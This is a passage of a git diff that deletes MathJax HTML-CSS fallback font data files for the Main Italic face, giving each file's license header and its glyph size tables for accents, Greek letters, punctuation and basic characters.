-MathJax.OutputJax["HTML-CSS"].defineImageData({"MathJax_Main-italic":{305:[[3,3,0],[3,4,0],[4,4,0],[4,5,0],[5,6,0],[6,7,0],[7,9,0],[8,10,0],[10,12,0],[12,15,0],[14,17,0],[16,22,1],[19,26,1],[23,30,1]]}});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Main/Italic"+MathJax.OutputJax["HTML-CSS"].imgPacked+"/LatinExtendedA.js");
-
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Italic/LatinExtendedB.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Italic/LatinExtendedB.js
deleted file mode 100644
index e7744f7b..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Italic/LatinExtendedB.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/fonts/HTML-CSS/TeX/png/Main/Italic/LatinExtendedB.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({"MathJax_Main-italic":{567:[[4,4,1],[4,6,2],[5,6,2],[5,7,2],[6,9,3],[7,10,3],[8,13,4],[9,14,4],[11,17,5],[12,21,6],[15,25,8],[18,31,10],[21,37,12],[24,43,14]]}});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Main/Italic"+MathJax.OutputJax["HTML-CSS"].imgPacked+"/LatinExtendedB.js");
-
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Italic/LetterlikeSymbols.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Italic/LetterlikeSymbols.js
deleted file mode 100644
index 9cebefff..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Italic/LetterlikeSymbols.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/fonts/HTML-CSS/TeX/png/Main/Italic/LetterlikeSymbols.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({"MathJax_Main-italic":{8463:[[4,6,1],[5,7,1],[6,7,0],[7,10,1],[8,11,1],[10,13,1],[11,15,1],[13,18,1],[16,21,1],[19,24,1],[22,29,1],[27,34,1],[32,40,1],[37,47,1]]}});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Main/Italic"+MathJax.OutputJax["HTML-CSS"].imgPacked+"/LetterlikeSymbols.js");
-
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Italic/Main.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Italic/Main.js
deleted file mode 100644
index 58763702..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Italic/Main.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/fonts/HTML-CSS/TeX/png/Main/Italic/Main.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
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-
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Italic/unpacked/CombDiacritMarks.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Italic/unpacked/CombDiacritMarks.js
deleted file mode 100644
index 5e830960..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Italic/unpacked/CombDiacritMarks.js
+++ /dev/null
@@ -1,77 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/Main/Italic/CombDiacritMarks.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_Main-italic": {
-    0x300: [  // COMBINING GRAVE ACCENT
-      [2,2,-3],[2,2,-4],[3,2,-4],[3,2,-6],[3,3,-6],[3,3,-8],[4,4,-10],[5,5,-10],
-      [5,6,-14],[6,7,-17],[7,8,-19],[8,10,-23],[9,11,-28],[11,13,-32]
-    ],
-    0x301: [  // COMBINING ACUTE ACCENT
-      [3,2,-3],[3,2,-4],[3,2,-4],[4,2,-6],[4,3,-6],[4,3,-8],[5,4,-10],[6,5,-10],
-      [7,6,-14],[8,7,-17],[9,8,-19],[11,10,-23],[13,11,-28],[15,13,-32]
-    ],
-    0x302: [  // COMBINING CIRCUMFLEX ACCENT
-      [3,1,-4],[4,2,-4],[4,2,-4],[4,2,-6],[5,2,-7],[6,3,-8],[6,4,-10],[7,4,-12],
-      [8,5,-14],[10,6,-17],[11,7,-20],[13,8,-25],[15,10,-29],[19,11,-34]
-    ],
-    0x303: [  // COMBINING TILDE
-      [3,1,-4],[4,1,-5],[4,1,-5],[5,1,-7],[5,2,-7],[6,2,-9],[8,3,-11],[9,3,-12],
-      [10,3,-16],[11,4,-19],[14,5,-21],[16,5,-27],[19,7,-32],[22,7,-37]
-    ],
-    0x304: [  // COMBINING MACRON
-      [3,1,-3],[4,1,-5],[4,1,-5],[5,1,-6],[5,1,-7],[6,1,-8],[8,1,-11],[9,2,-11],
-      [10,3,-14],[12,3,-17],[14,3,-20],[16,4,-25],[20,4,-30],[23,4,-35]
-    ],
-    0x306: [  // COMBINING BREVE
-      [3,2,-3],[3,2,-4],[4,2,-4],[4,2,-6],[5,3,-6],[6,3,-8],[7,5,-9],[8,5,-11],
-      [9,6,-13],[11,6,-17],[13,7,-20],[15,9,-24],[18,10,-29],[21,12,-33]
-    ],
-    0x307: [  // COMBINING DOT ABOVE
-      [2,1,-4],[2,2,-4],[2,2,-4],[2,2,-6],[3,2,-7],[3,2,-9],[4,3,-11],[4,3,-12],
-      [4,4,-15],[5,5,-19],[6,5,-21],[7,6,-26],[8,7,-31],[9,8,-36]
-    ],
-    0x308: [  // COMBINING DIAERESIS
-      [3,1,-4],[4,2,-4],[4,2,-4],[4,2,-6],[5,2,-7],[6,2,-9],[6,3,-11],[8,3,-12],
-      [9,4,-15],[11,4,-19],[12,5,-21],[15,6,-26],[17,7,-31],[20,8,-36]
-    ],
-    0x30A: [  // COMBINING RING ABOVE
-      [3,2,-3],[3,2,-4],[3,2,-4],[4,2,-6],[4,3,-6],[5,3,-8],[5,4,-10],[6,4,-11],
-      [7,5,-15],[8,7,-17],[9,8,-20],[11,8,-26],[12,10,-31],[15,12,-36]
-    ],
-    0x30B: [  // COMBINING DOUBLE ACUTE ACCENT
-      [3,2,-3],[4,2,-4],[4,2,-4],[4,2,-6],[5,3,-6],[7,3,-8],[7,4,-10],[8,5,-10],
-      [9,6,-14],[12,7,-17],[13,8,-19],[16,9,-24],[18,11,-28],[22,13,-32]
-    ],
-    0x30C: [  // COMBINING CARON
-      [3,1,-3],[3,1,-5],[4,1,-5],[4,2,-6],[5,2,-7],[5,2,-8],[6,3,-10],[7,3,-11],
-      [8,4,-14],[9,5,-17],[12,5,-19],[13,7,-24],[16,8,-28],[18,9,-33]
-    ]
-  }
-});
-
-MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Main/Italic"+
-                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/CombDiacritMarks.js");
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Italic/unpacked/GeneralPunctuation.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Italic/unpacked/GeneralPunctuation.js
deleted file mode 100644
index d0fbf583..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Italic/unpacked/GeneralPunctuation.js
+++ /dev/null
@@ -1,57 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/Main/Italic/GeneralPunctuation.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_Main-italic": {
-    0x2013: [  // EN DASH
-      [4,1,-1],[5,1,-2],[6,1,-2],[7,1,-3],[8,1,-3],[10,1,-4],[11,1,-5],[14,1,-6],
-      [16,2,-6],[19,3,-8],[22,3,-9],[27,3,-11],[32,4,-13],[37,4,-15]
-    ],
-    0x2014: [  // EM DASH
-      [8,1,-1],[9,1,-2],[11,1,-2],[13,1,-3],[15,1,-3],[18,1,-4],[21,1,-5],[25,1,-6],
-      [29,1,-7],[35,3,-8],[41,3,-9],[49,2,-12],[58,3,-14],[69,3,-16]
-    ],
-    0x2018: [  // LEFT SINGLE QUOTATION MARK
-      [3,2,-3],[3,4,-2],[4,4,-2],[5,4,-4],[5,4,-5],[6,5,-6],[8,7,-7],[9,7,-9],
-      [10,9,-10],[12,11,-12],[15,12,-15],[17,15,-18],[21,18,-21],[24,21,-24]
-    ],
-    0x2019: [  // RIGHT SINGLE QUOTATION MARK
-      [3,3,-2],[4,3,-3],[4,3,-3],[5,4,-4],[6,5,-4],[7,5,-6],[8,7,-7],[9,8,-8],
-      [11,9,-10],[13,11,-12],[15,13,-14],[18,15,-18],[21,18,-21],[25,21,-24]
-    ],
-    0x201C: [  // LEFT DOUBLE QUOTATION MARK
-      [5,2,-3],[6,4,-2],[6,4,-2],[8,4,-4],[9,4,-5],[11,5,-6],[12,7,-7],[15,7,-9],
-      [17,9,-10],[20,11,-12],[24,12,-15],[29,15,-18],[34,18,-21],[40,21,-24]
-    ],
-    0x201D: [  // RIGHT DOUBLE QUOTATION MARK
-      [4,3,-2],[5,3,-3],[6,3,-3],[7,4,-4],[8,5,-4],[9,5,-6],[11,7,-7],[13,8,-8],
-      [15,9,-10],[18,11,-12],[22,13,-14],[25,15,-18],[30,18,-21],[36,21,-24]
-    ]
-  }
-});
-
-MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Main/Italic"+
-                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/GeneralPunctuation.js");
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Italic/unpacked/GreekAndCoptic.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Italic/unpacked/GreekAndCoptic.js
deleted file mode 100644
index 7b893af0..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Italic/unpacked/GreekAndCoptic.js
+++ /dev/null
@@ -1,77 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/Main/Italic/GreekAndCoptic.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_Main-italic": {
-    0x393: [  // GREEK CAPITAL LETTER GAMMA
-      [5,5,0],[6,6,0],[7,6,0],[9,8,0],[10,9,0],[12,11,0],[14,14,0],[17,15,0],
-      [20,19,0],[24,23,0],[28,26,0],[33,33,0],[39,38,0],[47,45,0]
-    ],
-    0x394: [  // GREEK CAPITAL LETTER DELTA
-      [6,5,0],[7,6,0],[8,6,0],[9,8,0],[11,9,0],[13,11,0],[15,14,0],[18,15,0],
-      [21,20,0],[25,24,0],[30,28,0],[35,34,0],[42,41,0],[50,47,0]
-    ],
-    0x398: [  // GREEK CAPITAL LETTER THETA
-      [6,5,0],[7,6,0],[8,6,0],[10,8,0],[11,9,0],[14,11,0],[16,14,0],[19,16,1],
-      [22,21,1],[26,25,1],[31,27,0],[37,35,1],[44,42,1],[52,48,1]
-    ],
-    0x39B: [  // GREEK CAPITAL LETTER LAMDA
-      [5,5,0],[6,7,1],[7,7,1],[8,9,1],[9,10,1],[11,12,1],[13,15,1],[15,16,1],
-      [18,21,1],[22,25,1],[26,28,1],[31,35,1],[36,42,1],[43,48,1]
-    ],
-    0x39E: [  // GREEK CAPITAL LETTER XI
-      [6,6,1],[7,7,1],[8,7,1],[9,9,1],[11,10,1],[13,12,1],[15,15,1],[18,16,1],
-      [21,20,1],[25,24,1],[30,27,1],[36,33,0],[42,40,1],[50,46,1]
-    ],
-    0x3A0: [  // GREEK CAPITAL LETTER PI
-      [6,5,0],[8,6,0],[9,6,0],[11,8,0],[12,9,0],[15,11,0],[17,14,0],[20,15,0],
-      [24,19,0],[29,23,0],[34,26,0],[40,33,0],[48,39,0],[57,45,0]
-    ],
-    0x3A3: [  // GREEK CAPITAL LETTER SIGMA
-      [6,5,0],[7,6,0],[8,6,0],[10,8,0],[11,9,0],[13,11,0],[16,14,0],[19,15,0],
-      [22,19,0],[26,23,0],[31,26,0],[37,33,0],[44,39,0],[52,45,0]
-    ],
-    0x3A5: [  // GREEK CAPITAL LETTER UPSILON
-      [6,5,0],[7,6,0],[9,6,0],[10,8,0],[12,9,0],[14,11,0],[17,14,0],[20,15,0],
-      [23,20,0],[28,24,0],[33,27,0],[39,33,0],[46,40,0],[55,46,0]
-    ],
-    0x3A6: [  // GREEK CAPITAL LETTER PHI
-      [6,5,0],[7,6,0],[8,6,0],[9,8,0],[11,9,0],[13,11,0],[15,14,0],[17,15,0],
-      [21,19,0],[24,23,0],[29,26,0],[34,33,0],[41,39,0],[48,45,0]
-    ],
-    0x3A8: [  // GREEK CAPITAL LETTER PSI
-      [6,5,0],[7,6,0],[9,6,0],[10,8,0],[12,9,0],[14,11,0],[17,14,0],[20,15,0],
-      [23,19,0],[28,23,0],[33,26,0],[39,33,0],[46,39,0],[55,45,0]
-    ],
-    0x3A9: [  // GREEK CAPITAL LETTER OMEGA
-      [6,5,0],[7,6,0],[8,6,0],[9,8,0],[11,9,0],[13,11,0],[15,14,0],[18,15,0],
-      [21,20,0],[25,24,0],[30,27,0],[36,34,0],[42,40,0],[50,47,0]
-    ]
-  }
-});
-
-MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Main/Italic"+
-                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/GreekAndCoptic.js");
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Italic/unpacked/Latin1Supplement.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Italic/unpacked/Latin1Supplement.js
deleted file mode 100644
index 40b3d522..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Italic/unpacked/Latin1Supplement.js
+++ /dev/null
@@ -1,41 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/Main/Italic/Latin1Supplement.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_Main-italic": {
-    0xA0: [  // NO-BREAK SPACE
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]
-    ],
-    0xA3: [  // POUND SIGN
-      [5,5,0],[6,6,0],[7,6,0],[9,8,0],[10,9,0],[12,11,0],[14,14,0],[17,15,0],
-      [20,20,0],[24,24,0],[28,27,0],[33,34,1],[39,41,1],[47,48,1]
-    ]
-  }
-});
-
-MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Main/Italic"+
-                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/Latin1Supplement.js");
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Italic/unpacked/LatinExtendedA.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Italic/unpacked/LatinExtendedA.js
deleted file mode 100644
index 4d700f29..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Italic/unpacked/LatinExtendedA.js
+++ /dev/null
@@ -1,37 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/Main/Italic/LatinExtendedA.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_Main-italic": {
-    0x131: [  // LATIN SMALL LETTER DOTLESS I
-      [3,3,0],[3,4,0],[4,4,0],[4,5,0],[5,6,0],[6,7,0],[7,9,0],[8,10,0],
-      [10,12,0],[12,15,0],[14,17,0],[16,22,1],[19,26,1],[23,30,1]
-    ]
-  }
-});
-
-MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Main/Italic"+
-                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/LatinExtendedA.js");
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Italic/unpacked/LatinExtendedB.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Italic/unpacked/LatinExtendedB.js
deleted file mode 100644
index 901e2f71..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Italic/unpacked/LatinExtendedB.js
+++ /dev/null
@@ -1,37 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/Main/Italic/LatinExtendedB.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_Main-italic": {
-    0x237: [  // LATIN SMALL LETTER DOTLESS J
-      [4,4,1],[4,6,2],[5,6,2],[5,7,2],[6,9,3],[7,10,3],[8,13,4],[9,14,4],
-      [11,17,5],[12,21,6],[15,25,8],[18,31,10],[21,37,12],[24,43,14]
-    ]
-  }
-});
-
-MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Main/Italic"+
-                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/LatinExtendedB.js");
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Italic/unpacked/LetterlikeSymbols.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Italic/unpacked/LetterlikeSymbols.js
deleted file mode 100644
index 9b380758..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Italic/unpacked/LetterlikeSymbols.js
+++ /dev/null
@@ -1,37 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/Main/Italic/LetterlikeSymbols.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_Main-italic": {
-    0x210F: [  // stix-/hbar - Planck's over 2pi
-      [4,6,1],[5,7,1],[6,7,0],[7,10,1],[8,11,1],[10,13,1],[11,15,1],[13,18,1],
-      [16,21,1],[19,24,1],[22,29,1],[27,34,1],[32,40,1],[37,47,1]
-    ]
-  }
-});
-
-MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Main/Italic"+
-                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/LetterlikeSymbols.js");
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Italic/unpacked/Main.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Italic/unpacked/Main.js
deleted file mode 100644
index 573ea1e9..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Italic/unpacked/Main.js
+++ /dev/null
@@ -1,437 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/Main/Italic/Main.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_Main-italic": {
-    0x20: [  // SPACE
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]
-    ],
-    0x21: [  // EXCLAMATION MARK
-      [3,5,0],[4,6,0],[4,6,0],[5,8,0],[6,9,0],[7,11,0],[8,14,0],[9,15,0],
-      [11,20,0],[13,24,0],[15,28,0],[18,34,0],[22,41,0],[25,47,0]
-    ],
-    0x22: [  // QUOTATION MARK
-      [4,3,-2],[5,3,-3],[6,3,-3],[7,4,-4],[8,5,-4],[9,5,-6],[11,7,-7],[13,8,-8],
-      [15,9,-10],[18,11,-12],[22,13,-14],[25,15,-18],[30,18,-21],[36,21,-24]
-    ],
-    0x23: [  // NUMBER SIGN
-      [6,6,1],[7,8,2],[9,8,2],[10,10,2],[12,12,3],[14,14,3],[17,18,4],[20,20,4],
-      [23,24,5],[28,29,6],[33,34,7],[39,42,9],[46,50,11],[55,58,13]
-    ],
-    0x25: [  // PERCENT SIGN
-      [6,6,1],[8,8,1],[9,8,1],[10,10,1],[12,11,1],[15,13,1],[17,17,1],[20,18,1],
-      [24,23,2],[28,29,3],[34,33,3],[40,38,3],[47,46,3],[56,53,4]
-    ],
-    0x26: [  // AMPERSAND
-      [6,5,0],[7,6,0],[8,6,0],[10,8,0],[12,9,0],[14,11,0],[16,14,0],[19,17,1],
-      [23,21,1],[27,25,1],[32,29,0],[38,35,1],[45,43,2],[53,49,2]
-    ],
-    0x27: [  // APOSTROPHE
-      [3,3,-2],[4,3,-3],[4,3,-3],[5,4,-4],[6,5,-4],[7,5,-6],[8,7,-7],[9,8,-8],
-      [11,9,-10],[13,11,-12],[15,13,-14],[18,15,-18],[21,18,-21],[25,21,-24]
-    ],
-    0x28: [  // LEFT PARENTHESIS
-      [4,8,3],[5,10,3],[6,10,3],[7,13,4],[8,15,4],[9,17,5],[11,22,6],[12,24,7],
-      [15,28,8],[18,35,9],[21,40,11],[25,49,13],[29,58,15],[35,67,17]
-    ],
-    0x29: [  // RIGHT PARENTHESIS
-      [3,7,2],[4,9,2],[4,9,2],[5,12,3],[6,14,3],[7,16,4],[8,21,5],[10,23,6],
-      [11,27,7],[13,34,8],[16,39,10],[19,48,12],[22,57,14],[26,66,16]
-    ],
-    0x2A: [  // ASTERISK
-      [5,3,-2],[5,5,-2],[6,5,-2],[7,6,-3],[9,6,-4],[10,8,-4],[12,9,-6],[14,10,-7],
-      [17,12,-9],[20,15,-11],[23,17,-12],[28,21,-15],[33,25,-18],[39,28,-21]
-    ],
-    0x2B: [  // PLUS SIGN
-      [6,5,1],[7,7,1],[8,7,1],[9,7,1],[11,9,1],[13,11,2],[15,13,1],[18,15,2],
-      [21,18,3],[25,21,2],[30,24,2],[35,30,3],[42,35,3],[50,41,4]
-    ],
-    0x2C: [  // COMMA
-      [2,2,1],[2,3,2],[3,3,2],[3,4,2],[4,5,3],[4,5,3],[5,7,4],[6,7,4],
-      [7,9,5],[8,10,6],[10,12,7],[11,15,9],[13,18,11],[16,21,13]
-    ],
-    0x2D: [  // HYPHEN-MINUS
-      [3,1,-1],[3,1,-1],[4,1,-1],[4,1,-2],[5,1,-2],[6,2,-2],[7,3,-3],[8,3,-3],
-      [10,2,-5],[12,3,-6],[14,3,-7],[16,4,-9],[19,5,-10],[23,5,-12]
-    ],
-    0x2E: [  // FULL STOP
-      [2,1,0],[2,2,0],[3,2,0],[3,2,0],[4,2,0],[4,2,0],[5,3,0],[6,3,0],
-      [7,4,0],[8,5,0],[10,5,0],[11,6,0],[13,7,0],[16,8,0]
-    ],
-    0x2F: [  // SOLIDUS
-      [5,7,2],[6,9,2],[7,9,2],[8,12,3],[9,14,3],[11,16,4],[12,21,5],[15,23,6],
-      [18,27,7],[21,34,8],[25,39,10],[29,48,12],[35,57,14],[41,66,16]
-    ],
-    0x30: [  // DIGIT ZERO
-      [4,5,0],[5,6,0],[6,6,0],[7,8,0],[8,9,0],[10,11,0],[11,14,0],[14,16,1],
-      [16,19,1],[19,24,1],[22,27,0],[27,33,1],[32,39,1],[37,45,1]
-    ],
-    0x31: [  // DIGIT ONE
-      [4,5,0],[4,6,0],[5,6,0],[6,8,0],[7,9,0],[8,11,0],[10,14,0],[11,15,0],
-      [13,19,0],[16,23,0],[19,26,0],[22,32,0],[26,38,0],[31,44,0]
-    ],
-    0x32: [  // DIGIT TWO
-      [4,5,0],[5,6,0],[6,6,0],[7,8,0],[8,9,0],[10,11,0],[11,14,0],[13,16,1],
-      [16,20,1],[19,24,1],[22,27,0],[26,33,1],[31,39,1],[37,45,1]
-    ],
-    0x33: [  // DIGIT THREE
-      [4,5,0],[5,6,0],[6,6,0],[7,8,0],[8,9,0],[10,11,0],[11,14,0],[14,15,0],
-      [16,19,0],[19,23,0],[22,26,0],[27,33,1],[32,39,1],[37,45,1]
-    ],
-    0x34: [  // DIGIT FOUR
-      [4,6,1],[4,8,2],[5,8,2],[6,10,2],[7,12,3],[8,14,3],[10,18,4],[12,19,4],
-      [14,24,5],[16,29,6],[19,33,7],[23,41,9],[27,49,11],[32,57,13]
-    ],
-    0x35: [  // DIGIT FIVE
